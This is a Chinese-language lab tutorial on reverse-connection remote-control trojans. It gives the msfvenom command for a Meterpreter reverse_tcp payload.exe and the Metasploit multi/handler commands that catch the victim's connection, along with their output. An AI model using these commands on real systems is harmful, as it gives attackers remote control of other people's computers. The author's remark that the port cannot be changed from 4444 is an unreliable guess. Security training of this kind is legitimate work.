目录
远程控制程序基础
远程控制程序可以说是一个框架,指可以在一台设备上操纵另一台设备。它包括被控端和主控端,被控端是运行在目标主机上的程序,可以是一段代码也可以是一个直接执行的程序,含义上等同于木马;主控端在攻击机上执行。
根据主控端和被控端的连接方式,可以将远程控制软件分为正向和反向。
这里主要介绍一下反向控制,大部分的远程控制软件都采用远程控制的方式。当目标主机执行被控制端后,会通知源主机“我已经被你控制啦,请下命令吧!”。因此攻击机只需要设置好等待目标主机连接的源端口和IP地址(自己的IP地址)就可以了,无需知道目标主机的IP地址。
被控端需要在攻击机中用相关工具生成,也可以自定义。
实战:远程控制目标主机
环境:主控端:Kali Linux·2020.1b
被控端:Win10
虚拟机桥接上网
步骤:
1、生成被控端
执行命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.120 lport=5000 -f exe -o /root/payload.exe
执行效果:
这个命令的作用是 msfvenom自带的payload(windows/meterpreter/reverse_tcp)生成被控制端,规定这个被控制端的类型为可执行文件和保存在Kali中的位置,并且设置等待连接的源IP地址和端口号。
windows/meterpreter/reverse_tcp其实就是可以直接在计算机中执行的代码(称为payload),只不过通过这个命令将其编译成我们需要的格式。
生成被控制端后,将这个可执行文件复制到目标主机中。
2、 在Kali Linux中启动主控端
(1) 启动Metasploit
root@kali:/# msfconsole
执行效果:
(2)启动handler模块作为主控端
msf5 > use exploit/multi/handler
(3) 设置前面生成的被控制端程序,然后等待被控制端连接
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.120
lhost => 192.168.43.120
msf5 exploit(multi/handler) > set lport 5000
lport => 5000
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.43.120:5000
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.43.120:5000
执行完最后一条命令后,双击目标主机中的payload.exe
上述命令没有执行成功,源端口改为4444后成功 ,原因可能是因为windows/meterpreter/reverse_tcp这个payload文件默认的端口为4444,在下面的介绍中会看到这一点,可能是不能修改。
在这里重新修改一次就好,上一个步骤的命令可以不用改动。
出现最后一行红框中的内容表示被控端已经被控制